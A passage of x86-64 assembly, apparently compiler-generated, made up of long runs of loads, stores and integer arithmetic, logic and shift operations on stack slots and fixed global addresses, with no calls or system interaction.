mov ecx, dword [rsp + 0x5090]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9290]
mov dword [rcx], eax
lea rax, [rsp + 0x9f70]
mov qword [rsp + 0xad18], rax
mov rax, qword [rsp + 0x9df8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x98a8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x22d], al
movsx eax, word [rsp + 0x17a0]
mov rcx, qword [rsp + 0x8f70]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401cc108], ax
movzx eax, byte [rsp + 0x1e0]
mov byte [rsp + 0x2ba], al
mov rax, qword [rsp + 0xa7b8]
movzx eax, byte [rax]
movzx ecx, byte [0x1401cd78d]
or eax, ecx
mov byte [rsp + 0x262], al
movzx eax, word [rsp + 0x175c]
movzx ecx, word [rsp + 0x178c]
shl eax, cl
mov word [rsp + 0xf18], ax
lea rax, [rsp + 0x2a7]
mov qword [rsp + 0xad20], rax
mov rax, qword [rsp + 0xa318]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaa58]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9750], rax
mov rax, qword [rsp + 0x8520]
mov qword [rsp + 0xad28], rax
mov rax, qword [rsp + 0xa308]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9720]
mov qword [rsp + 0xad30], rcx
movzx ecx, al
mov rax, qword [rsp + 0xad30]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x90b0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x5130]
mov ecx, dword [rsp + 0x5004]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9fc0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x215]
movzx ecx, byte [rsp + 0x76]
add eax, ecx
mov rcx, qword [0x1401cda10]
mov byte [rcx], al
movzx eax, word [rsp + 0x1580]
mov rcx, qword [rsp + 0x9690]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xeec], ax
mov rax, qword [0x1401cd9e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9028]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1654], ax
lea rax, [rsp + 0x1530]
mov qword [rsp + 0xad38], rax
mov rax, qword [rsp + 0x9ee8]
movsx eax, byte [rax]
movsx ecx, byte [0x1401cc03a]
add eax, ecx
mov rcx, qword [rsp + 0x8fa8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9c70]
mov rcx, qword [rsp + 0x9268]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x93a8]
mov dword [rcx], eax
lea rax, [rsp + 0x8100]
mov qword [rsp + 0xad40], rax
mov rax, qword [rsp + 0xa540]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa970]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9570]
mov qword [rcx], rax
mov eax, dword [rsp + 0x50a0]
mov dword [rsp + 0x51a4], eax
lea rax, [rsp + 0x20d]
mov qword [0x1401cdb60], rax
movzx eax, byte [rsp + 0xb1]
mov rcx, qword [rsp + 0x95d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x90e0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1674]
mov word [rsp + 0x1844], ax
movzx eax, word [rsp + 0x1540]
mov rcx, qword [rsp + 0x9d58]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9d80]
mov word [rcx], ax
movsx eax, byte [rsp + 0x222]
movsx ecx, byte [rsp + 0x2a7]
sar eax, cl
mov rcx, qword [rsp + 0x9630]
mov byte [rcx], al
mov rax, qword [0x1401cc020]
mov qword [rsp + 0xad48], rax
mov eax, dword [rsp + 0x4f48]
mov ecx, dword [rsp + 0x4ea0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4fec], eax
mov rax, qword [rsp + 0x9e90]
mov rax, qword [rax]
mov qword [rsp + 0xad50], rax
mov eax, dword [rsp + 0x4f3c]
movzx ecx, al
mov eax, dword [rsp + 0x5028]
shl eax, cl
mov dword [rsp + 0x50cc], eax
mov rax, qword [rsp + 0x9a90]
movzx eax, word [rax]
mov word [0x1401cdb68], ax
mov rax, qword [rsp + 0xa120]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x227]
or eax, ecx
mov byte [rsp + 0x224], al
lea rax, [0x1401cc0a4]
mov qword [rsp + 0xad58], rax
mov rax, qword [rsp + 0xa138]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa480]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x23f], al
movzx eax, word [rsp + 0x1048]
mov word [rsp + 0x1848], ax
mov rax, qword [rsp + 0xa920]
mov rcx, qword [rsp + 0xa588]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8e00], rax
mov eax, dword [rsp + 0x4f34]
mov ecx, dword [rsp + 0x50e8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5060], eax
lea rax, [rsp + 0x9310]
mov qword [rsp + 0xad60], rax
mov rax, qword [rsp + 0x9cd0]
mov rcx, qword [rsp + 0xac90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4dfc], eax
mov rax, qword [rsp + 0x95c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x232]
add eax, ecx
mov rcx, qword [0x1401cda20]
mov byte [rcx], al
movzx eax, word [rsp + 0x1704]
mov word [rsp + 0x184c], ax
movsx eax, byte [rsp + 0x20f]
mov rcx, qword [0x1401cd878]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa170]
mov byte [rcx], al
mov rax, qword [rsp + 0x9bd8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x97e0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1758], ax
lea rax, [rsp + 0x1fb]
mov qword [rsp + 0xad68], rax
mov rax, qword [rsp + 0x91e8]
mov rax, qword [rax]
mov rcx, qword [0x1401cc020]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa228], rax
lea rax, [rsp + 0x5184]
mov qword [rsp + 0xad70], rax
mov eax, dword [rsp + 0x5134]
mov ecx, dword [rsp + 0x4ed4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa250]
mov dword [rcx], eax
lea rax, [rsp + 0xa938]
mov qword [rsp + 0xad78], rax
mov rax, qword [rsp + 0xa610]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa268]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cc10c], ax
movsx eax, word [rsp + 0x11f4]
mov rcx, qword [rsp + 0x9850]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9478]
mov word [rcx], ax
movzx eax, byte [0x1401cd716]
mov rcx, qword [rsp + 0x99f0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x274], al
movzx eax, word [rsp + 0x17f0]
mov word [rsp + 0x1850], ax
mov rax, qword [rsp + 0x9178]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1fe]
sar eax, cl
mov rcx, qword [rsp + 0xab70]
mov byte [rcx], al
mov rax, qword [rsp + 0xa4e8]
mov eax, dword [rax]
mov dword [rsp + 0x51a8], eax
mov rax, qword [rsp + 0x9ad0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xaa78]
shl rax, cl
mov qword [rsp + 0x9f38], rax
mov rax, qword [rsp + 0x9370]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9770]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x95b0]
mov qword [rcx], rax
lea rax, [rsp + 0x4828]
mov qword [rsp + 0xad80], rax
mov rax, qword [rsp + 0xa850]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa2d8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cc00a], al
mov rax, qword [rsp + 0xa868]
movsx eax, word [rax]
mov rcx, qword [0x1401cda68]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9b08]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ed8]
movzx eax, word [rax]
mov word [rsp + 0x1854], ax
mov rax, qword [rsp + 0xa720]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16a0]
sub eax, ecx
mov rcx, qword [rsp + 0xab48]
mov word [rcx], ax
mov rax, qword [rsp + 0xa2d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9540]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2b1], al
lea rax, [rsp + 0x4f40]
mov qword [rsp + 0xad88], rax
mov eax, dword [rsp + 0x4f28]
mov ecx, dword [rsp + 0x5190]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ec8], eax
lea rax, [rsp + 0x9010]
mov qword [rsp + 0xad90], rax
mov rax, qword [rsp + 0xa740]
mov rcx, qword [rsp + 0x83c0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b50], rax
mov rax, qword [rsp + 0x9038]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9d58]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cc110], ax
mov rax, qword [rsp + 0x9100]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa6b8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x120], al
mov rax, qword [rsp + 0x9a20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9a40]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1424], ax
mov rax, qword [rsp + 0xa220]
movzx eax, byte [rax]
movzx ecx, byte [0x1401cd78e]
sar eax, cl
mov byte [rsp + 0x233], al
mov rax, qword [rsp + 0xa7b8]
movzx eax, byte [rax]
mov byte [rsp + 0x2bb], al
mov rax, qword [rsp + 0x9720]
mov rcx, qword [rsp + 0x9278]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xab38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x91e8]
mov rax, qword [rax]
mov qword [rsp + 0xad98], rax
mov rax, qword [rsp + 0x91b8]
mov rcx, qword [rsp + 0x90c0]
mov qword [rsp + 0xada0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xada0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x92b0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4ec4]
mov ecx, dword [rsp + 0x50b0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ee8], eax
movzx eax, word [rsp + 0x1168]
mov word [rsp + 0x1858], ax
movsx eax, byte [0x1401cc03a]
mov rcx, qword [rsp + 0xaa60]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401cc04e], al
mov rax, qword [rsp + 0xa360]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x290]
sub eax, ecx
mov rcx, qword [rsp + 0x99f0]
mov byte [rcx], al
mov rax, qword [rsp + 0xa650]
movzx eax, word [rax]
mov word [rsp + 0x185c], ax
movzx eax, byte [rsp + 0x26a]
mov rcx, qword [rsp + 0x92f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x22a], al
mov rax, qword [rsp + 0xac50]
mov rcx, qword [rsp + 0x9338]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9a00], rax
mov rax, qword [rsp + 0x8ed0]
mov rax, qword [rax]
mov qword [rsp + 0xada8], rax
mov eax, dword [rsp + 0x516c]
mov ecx, dword [rsp + 0x4ef4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9470]
mov dword [rcx], eax
mov eax, dword [rsp + 0x5014]
mov dword [rsp + 0x51ac], eax
movzx eax, word [rsp + 0x1700]
movzx ecx, word [0x1401cdad0]
add eax, ecx
mov rcx, qword [rsp + 0x9870]
mov word [rcx], ax
movsx eax, word [rsp + 0x1824]
movsx ecx, word [rsp + 0x15ec]
add eax, ecx
mov rcx, qword [0x1401cda68]
mov word [rcx], ax
mov rax, qword [rsp + 0xa190]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ca8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9178]
mov byte [rcx], al
movzx eax, word [0x1401cc0e8]
mov word [rsp + 0x1860], ax
mov rax, qword [rsp + 0xa808]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8db8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9be8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9c70]
mov eax, dword [rax]
mov dword [rsp + 0x51b0], eax
mov rax, qword [rsp + 0x9168]
mov rcx, qword [rsp + 0xa2e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x9be0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9220]
movzx ecx, al
mov rax, qword [rsp + 0x9a78]
shl rax, cl
mov qword [rsp + 0x8458], rax
mov eax, dword [0x1401cd720]
movzx ecx, al
mov eax, dword [rsp + 0x4828]
shr eax, cl
mov rcx, qword [rsp + 0xaa50]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa7b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x282]
or eax, ecx
mov byte [rsp + 0x275], al
movzx eax, word [rsp + 0x17d8]
mov word [0x1401cdb6c], ax
movzx eax, byte [rsp + 0x26f]
mov byte [rsp + 0x2bc], al
mov rax, qword [rsp + 0xa738]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1348]
sub eax, ecx
mov word [rsp + 0x166c], ax
movzx eax, byte [rsp + 0x249]
mov byte [rsp + 0x2bd], al
mov rax, qword [rsp + 0x9f28]
mov rcx, qword [rsp + 0x9538]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa6f8], rax
mov eax, dword [rsp + 0x4eec]
mov ecx, dword [0x1401cc01c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f18], eax
mov rax, qword [rsp + 0x97c0]
mov rax, qword [rax]
mov qword [rsp + 0xadb0], rax
mov rax, qword [rsp + 0x9890]
mov rcx, qword [rsp + 0x9768]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5088], eax
lea rax, [rsp + 0x2a7]
mov qword [rsp + 0xadb8], rax
mov rax, qword [rsp + 0xaa38]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeb0]
add eax, ecx
mov word [0x1401cc114], ax
movzx eax, word [rsp + 0x1638]
movzx ecx, word [0x1401cd7d8]
add eax, ecx
mov rcx, qword [rsp + 0xa738]
mov word [rcx], ax
mov rax, qword [rsp + 0x9b30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9d28]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9058]
mov byte [rcx], al
lea rax, [rsp + 0x248]
mov qword [rsp + 0xadc0], rax
movsx eax, word [rsp + 0x17a8]
mov rcx, qword [0x1401cd9d8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9550]
mov word [rcx], ax
mov eax, dword [rsp + 0x4f10]
mov dword [rsp + 0x51b4], eax
mov eax, dword [rsp + 0x4f1c]
mov ecx, dword [rsp + 0x4ec8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x50dc], eax
mov rax, qword [rsp + 0x92c0]
mov rcx, qword [0x1401cd728]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9c00]
mov qword [rcx], rax
lea rax, [rsp + 0x8078]
mov qword [rsp + 0xadc8], rax
mov rax, qword [rsp + 0x9c58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x202]
sar eax, cl
mov byte [0x1401cc00b], al
mov rax, qword [rsp + 0xa3b8]
movzx eax, word [rax]
movzx ecx, word [0x1401cc0f0]
or eax, ecx
mov rcx, qword [rsp + 0xa440]
mov word [rcx], ax
lea rax, [rsp + 0x25c]
mov qword [rsp + 0xadd0], rax
mov rax, qword [rsp + 0x9a20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9028]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x167c], ax
movzx eax, byte [rsp + 0x210]
mov byte [rsp + 0x2be], al
mov rax, qword [rsp + 0x9240]
mov rcx, qword [rsp + 0x9760]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x9dc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x95e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x502c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5180], eax
mov rax, qword [rsp + 0x9990]
mov rax, qword [rax]
mov qword [rsp + 0xadd8], rax
mov rax, qword [rsp + 0xac50]
mov rcx, qword [rsp + 0x9b38]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9c28]
mov qword [rcx], rax
lea rax, [rsp + 0x28f]
mov qword [0x1401cdb70], rax
lea rax, [rsp + 0x1548]
mov qword [rsp + 0xade0], rax
movzx eax, byte [rsp + 0x1f5]
mov rcx, qword [rsp + 0x99f0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x294], al
mov rax, qword [rsp + 0x9498]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa610]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1800], ax
lea rax, [rsp + 0x220]
mov qword [rsp + 0xade8], rax
mov rax, qword [rsp + 0x95a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x51b0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5018], eax
lea rax, [rsp + 0x4f04]
mov qword [rsp + 0xadf0], rax
mov rax, qword [0x1401cc020]
mov rcx, qword [rsp + 0xaaf0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e20], rax
mov rax, qword [rsp + 0x9570]
mov rcx, qword [rsp + 0x9560]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa238], rax
mov rax, qword [rsp + 0x9688]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x288]
add eax, ecx
mov byte [0x1401cc033], al
lea rax, [rsp + 0x147c]
mov qword [rsp + 0xadf8], rax
mov rax, qword [rsp + 0x98a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa578]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x22b], al
lea rax, [rsp + 0x15b0]
mov qword [rsp + 0xae00], rax
movsx eax, word [rsp + 0x15d8]
mov rcx, qword [0x1401cd880]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14ec], ax
lea rax, [rsp + 0x4dc4]
mov qword [rsp + 0xae08], rax
mov rax, qword [rsp + 0x9c00]
mov rcx, qword [rsp + 0x9490]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xac18], rax
mov eax, dword [rsp + 0x4e44]
mov ecx, dword [rsp + 0x4f4c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8ff0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9638]
mov rax, qword [rax]
mov qword [rsp + 0xae10], rax
mov rax, qword [rsp + 0x9340]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x17e0]
sar eax, cl
mov word [0x1401cc118], ax
mov rax, qword [0x1401cdac8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ea]
xor eax, ecx
mov rcx, qword [rsp + 0x8fb8]
mov byte [rcx], al
mov rax, qword [rsp + 0x8fa0]
movzx eax, byte [rax]
mov byte [rsp + 0x2bf], al
movsx eax, word [rsp + 0x165c]
mov rcx, qword [rsp + 0xade0]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x97a0]
mov word [rcx], ax
movzx eax, byte [0x1401cd78b]
mov rcx, qword [rsp + 0xa730]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x236], al
mov rax, qword [rsp + 0xac00]
mov rcx, qword [rsp + 0xa430]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4c28], eax
mov rax, qword [rsp + 0xa158]
mov rcx, qword [rsp + 0x9268]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9fe0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9600]
mov rax, qword [rax]
mov qword [rsp + 0xae18], rax
mov rax, qword [rsp + 0x9638]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8560]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa568], rax
mov rax, qword [rsp + 0xa268]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1518]
sub eax, ecx
mov rcx, qword [0x1401cd7c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9980]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9ef8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1654], ax
movzx eax, byte [rsp + 0x1de]
mov byte [rsp + 0x2c0], al
movsx eax, word [rsp + 0x1848]
mov rcx, qword [rsp + 0x92c8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1770], ax
movzx eax, byte [rsp + 0x180]
mov byte [rsp + 0x2c1], al
mov rax, qword [rsp + 0xae08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x50b8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4edc], eax
mov rax, qword [rsp + 0x92b0]
mov rcx, qword [rsp + 0x9570]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa758], rax
lea rax, [rsp + 0x4fe8]
mov qword [rsp + 0xae20], rax
mov rax, qword [rsp + 0x9cf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa048]
mov qword [rsp + 0xae28], rcx
movzx ecx, al
mov rax, qword [rsp + 0xae28]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xa9d0]
mov qword [rcx], rax
mov rax, qword [0x1401cda60]
movzx eax, byte [rax]
mov byte [0x1401cd7ed], al
movzx eax, word [rsp + 0x1838]
mov word [rsp + 0x1864], ax
movsx eax, word [rsp + 0x14f0]
mov rcx, qword [rsp + 0x9328]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa108]
mov word [rcx], ax
lea rax, [rsp + 0x241]
mov qword [rsp + 0xae30], rax
mov rax, qword [rsp + 0xab68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa078]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x10c0], ax
mov rax, qword [rsp + 0x99e8]
mov ecx, dword [rsp + 0x4ec0]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x91f0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x519c]
mov dword [rsp + 0x51b8], eax
mov rax, qword [rsp + 0x9520]
mov rcx, qword [rsp + 0xa690]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa230], rax
lea rax, [rsp + 0xa310]
mov qword [rsp + 0xae38], rax
mov rax, qword [rsp + 0x96a0]
movsx eax, byte [rax]
movsx ecx, byte [0x1401cc00a]
sub eax, ecx
mov rcx, qword [0x1401cd968]
mov byte [rcx], al
movzx eax, byte [rsp + 0x247]
mov rcx, qword [rsp + 0x9670]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1fb], al
movzx eax, word [rsp + 0x1644]
mov rcx, qword [rsp + 0xa2b0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x157c], ax
mov rax, qword [rsp + 0x9878]
movzx eax, byte [rax]
mov byte [rsp + 0x2c2], al
movsx eax, word [rsp + 0x17dc]
movsx ecx, word [rsp + 0x1788]
add eax, ecx
mov word [rsp + 0x1654], ax
mov eax, dword [rsp + 0x512c]
mov dword [rsp + 0x51bc], eax
mov rax, qword [rsp + 0xa698]
mov rcx, qword [rsp + 0xa6b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa558], rax
mov rax, qword [rsp + 0x91e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaca8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9a28], rax
mov eax, dword [rsp + 0x4f98]
mov dword [rsp + 0x51c0], eax
movzx eax, word [rsp + 0x1748]
movzx ecx, word [0x1401cc0cc]
add eax, ecx
mov rcx, qword [rsp + 0x9640]
mov word [rcx], ax
mov rax, qword [rsp + 0xa0c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa138]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cd7ed], al
lea rax, [rsp + 0x17fc]
mov qword [rsp + 0xae40], rax
movzx eax, byte [0x1401cc043]
mov rcx, qword [rsp + 0x9160]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x21c], al
mov rax, qword [rsp + 0xa190]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x57]
shl eax, cl
mov byte [rsp + 0x166], al
mov rax, qword [0x1401cc020]
movzx ecx, al
mov rax, qword [rsp + 0x9e68]
sar rax, cl
mov qword [rsp + 0x81f0], rax
mov rax, qword [rsp + 0x9968]
mov rcx, qword [rsp + 0x9030]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5164], eax
mov rax, qword [rsp + 0x9390]
mov rax, qword [rax]
mov qword [rsp + 0xae48], rax
mov rax, qword [rsp + 0x9270]
mov rcx, qword [rsp + 0x94d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4f98], eax
lea rax, [rsp + 0x21c]
mov qword [rsp + 0xae50], rax
movzx eax, word [rsp + 0x15e4]
mov rcx, qword [rsp + 0xa490]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1401cc11c], ax
movsx eax, byte [rsp + 0x23c]
movsx ecx, byte [0x1401cd7ec]
add eax, ecx
mov rcx, qword [rsp + 0x8f40]
mov byte [rcx], al
mov rax, qword [rsp + 0xad58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8f08]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9568]
mov word [rcx], ax
movzx eax, byte [rsp + 0x252]
mov byte [rsp + 0x2c3], al
mov rax, qword [rsp + 0x9968]
mov rcx, qword [rsp + 0x9a88]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xaa80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9270]
mov eax, dword [rax]
mov dword [rsp + 0x51c4], eax
mov rax, qword [rsp + 0x7fb8]
mov rcx, qword [rsp + 0xa9c8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa058]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9be0]
mov rax, qword [rax]
mov rcx, qword [0x1401cc028]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa690], rax
movzx eax, byte [rsp + 0x259]
mov byte [rsp + 0x2c4], al
movsx eax, word [rsp + 0x17c4]
mov rcx, qword [rsp + 0x9828]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401cc120], ax
mov rax, qword [0x1401cdab0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaca0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x178c], ax
lea rax, [rsp + 0x16e4]
mov qword [rsp + 0xae58], rax
mov rax, qword [rsp + 0x9f30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaad0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x24e], al
mov rax, qword [rsp + 0xa9f8]
mov rax, qword [rax]
mov rcx, qword [0x1401cc020]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ba0], rax
mov eax, dword [rsp + 0x4ca4]
mov dword [rsp + 0x51c8], eax
mov eax, dword [0x1401cd720]
mov rcx, qword [rsp + 0xa660]
mov qword [rsp + 0xae60], rcx
movzx ecx, al
mov rax, qword [rsp + 0xae60]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x8f48]
mov dword [rcx], eax
lea rax, [rsp + 0x9b88]
mov qword [rsp + 0xae68], rax
mov rax, qword [rsp + 0xae30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x266]
or eax, ecx
mov byte [rsp + 0x22e], al
movsx eax, word [rsp + 0x14c8]
mov rcx, qword [rsp + 0x99a8]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1401cc0a8], ax
mov rax, qword [rsp + 0xaa00]
movzx eax, word [rax]
mov word [rsp + 0x1868], ax
mov rax, qword [rsp + 0xa190]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x24c]
xor eax, ecx
mov rcx, qword [rsp + 0x8fa8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa680]
movsx eax, word [rax]
movsx ecx, word [0x1401cc058]
and eax, ecx
mov rcx, qword [rsp + 0x9250]
mov word [rcx], ax
movzx eax, word [rsp + 0x14d4]
mov word [rsp + 0x186c], ax
mov rax, qword [rsp + 0x90f8]
mov rcx, qword [rsp + 0x96e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x93e0], rax
lea rax, [rsp + 0x4f78]
mov qword [rsp + 0xae70], rax
mov rax, qword [rsp + 0x9258]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaa88]
add rcx, rax
mov rax, rcx
